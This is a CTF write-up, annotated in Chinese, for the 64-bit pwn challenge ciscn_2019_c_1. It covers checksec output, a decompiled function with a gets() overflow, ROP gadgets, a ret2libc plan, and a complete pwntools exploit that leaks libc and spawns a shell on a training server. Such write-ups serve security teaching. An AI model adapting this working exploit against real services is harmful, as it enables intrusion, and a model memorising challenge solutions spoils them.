HugeH4rD

ciscn_2019_c_1

Ubuntu 18

---

0x01

---

checksec

[*] '/home/zelas/Desktop/pwn/ciscn_2019_c_1/ciscn_2019_c_1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled	//栈不可执行
    PIE:      No PIE (0x400000)

IDA

encrypt()函数

int encrypt()
{
  size_t v0; // rbx
  char s[48]; // [rsp+0h] [rbp-50h] BYREF
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s);
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 0xDu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);	//在此处泄露gets()的地址
}

//无可疑函数,也没有直接的系统调用,没有/bin/sh字符串

0x02

---

思路ret2libc

1.泄露gets()函数的地址

​ x64 前6个参数在寄存器中rdi,rsi,rdx,rcx,r8,r9,剩余右向左入栈

​ 这里只要控制rdi puts(rdi)

└─$ ROPgadget --binary ciscn_2019_c_1 --only "pop|ret"
Gadgets information
============================================================
0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c80 : pop r14 ; pop r15 ; ret
0x0000000000400c82 : pop r15 ; ret
0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007f0 : pop rbp ; ret
0x0000000000400aec : pop rbx ; pop rbp ; ret
0x0000000000400c83 : pop rdi ; ret	//此处可用
0x0000000000400c81 : pop rsi ; pop r15 ; ret
0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b9 : ret
0x00000000004008ca : ret 0x2017
0x0000000000400962 : ret 0x458b
0x00000000004009c5 : ret 0xbf02

Unique gadgets found: 15

2.用LibcSearcher工具计算出基地址和偏移地址

3.计算得到libc中的system和str_bin_sh

4.再次执行main()函数,利用gets()函数的栈溢出执行system

s	50H
rbp	0x8
pop_rdi_ret
	gets_got
-	puts_plt
ret	main()

s	50H
rbp	0x8
ret	栈平衡
pop_rdi_ret
	bin_sh_addr
ret	system()

0x03

---

exp

libc6_2.27-3ubuntu1_amd64

from pwn import *
from LibcSearcher import *

context(os='linux', arch='amd64', log_level='debug')
path = './ciscn_2019_c_1'
# io = process([path])
io = remote('node4.buuoj.cn', 26083)
elf = ELF(path)

padding = 0x50 + 0x8 - 1
gets_got = elf.got['gets']  # gets()真实地址
puts_plt = elf.plt['puts']  #
main_addr = elf.symbols['main']
pop_rdi_ret = 0x400c83
ret_addr = 0x4006b9
payload = b'\0' + b'a' * padding + p64(pop_rdi_ret) + p64(gets_got) + p64(puts_plt) + p64(main_addr)

io.sendlineafter(b'!\n', b'1')
io.sendlineafter(b'ed\n', payload)
gets_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))

libc = LibcSearcher('gets', gets_addr)
libc_base = gets_addr - libc.dump('gets')
system = libc.dump('system') + libc_base
bin_sh = libc.dump('str_bin_sh') + libc_base

print(hex(libc_base))
print('system is ', hex(system))

payload1 = b'\0' + b'a' * padding + p64(ret_addr) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
io.sendlineafter(b'!\n', b'1')
io.sendlineafter(b'ed\n', payload1)
io.interactive()